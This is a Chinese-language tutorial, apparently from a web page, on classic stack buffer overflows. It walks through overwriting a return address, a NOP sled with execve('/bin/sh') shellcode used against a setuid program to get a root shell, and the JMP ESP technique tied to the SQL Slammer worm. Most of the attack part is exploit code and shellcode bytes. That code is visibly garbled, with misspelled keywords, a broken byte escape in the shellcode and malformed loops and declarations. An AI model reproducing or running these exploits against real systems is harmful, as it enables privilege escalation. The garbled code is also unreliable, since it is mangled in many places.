我们先来看看堆栈溢出是如何样看看下面:
void lizi( a , b)
{
char buffer[5];
char buffer1[15];
}
viod
{
lizi(1,2)
}
上面这段C在汇编中显示如下:
<>
pushl $1
pushl $2
call lizi
<lizi>
pushl %ebp
movl %esp,%ebp
subl $20,%esp
我们通过这两个比较可以发现当LIZI时候首先使两个参数入栈其次是当前指令下条指令入栈(ret地址)马上当前参底也入栈(EBP)然后又给BUFFER和BUFFER1分配了20字节空间那么返回时候又发生了什么事情呢?首先是恢复EBP底内容然后把RET弹出到EIP里面这样就会去执行EIP指向地址说完了情况我们再看看这段:
void lizi(char *buffer)
{
char buf[8];
sprf(buf,“%s”,buffer)
}
viod
{
char buffer[999];
i;
for(i=0;i<998;i)
buffer[1]=’a’;
lizi(buffer)
}
运行它的后会出现异常为什么会这样呢?buffer中间有998个a而buf只能容纳8个字节这时自然就会覆盖我们ret地址和其它内存了如果我们写个Shellcode然后用个指向Shellcode值覆盖RET地址自然就会去执行我们Shellcode了可是我们如何能构造我们Shellcode地址呢?幸好老辈前辈们发明了NOP思路方法这里我给大家个演示:
Void lizi (char *buf)
{
char sr[12];
trcpy(sr,buf);
}
void
{
char shellcode=“\xeb\x\x5e\x89\x76\x88\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b”
“\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd”
“\x80\xe8\xdc\xff\xff\xff/bin/sh”
1;
char buf[20000] , unsigned ret=0x00010000;
me(buf.,0x90,sizef(buf));/*0x90就是NOPS*/
memcpy(buf+14,ret,4);
memcpy(buf+1900,shellcode,stelen(shellcode);
lizi(buf);
}
给加上SETUID位退出ROOT然后用普通用户运行看到没有?bash#出来了!
后来又有些高手想出了新思路方法:用个指向CALL ESP 或者JMP ESP地址来覆盖RET这样我们用Shellcode覆盖ESP就OK了——SQL儒虫王大家还记得吧?它就是运用了这种手法用0x42b0c9dc覆盖RET而它又正好指向JMP ESP写个给他家看看:
void lizi(char *str)
buffer[14]
strcpy(buffer,str)
}
ovid
{
char str99];
unsigned ret
i;
_asm
{
pop $Content$4
call esp
pop ebx
}
char shellcode=“\xeb\x\x5e\x89\x76\x88\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b”
“\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd”
“\x80\xe8\xdc\xff\xff\xff/bin/sh”;
for(i=0;1<16;i)
str[i]=0x90;
sprf(ret,”返回地址是%X“ebx);
memcpy(str+16,ret,4);
memcpy(str+20,shellcode,strlen(shellcode);
lizi(str)
}
最新评论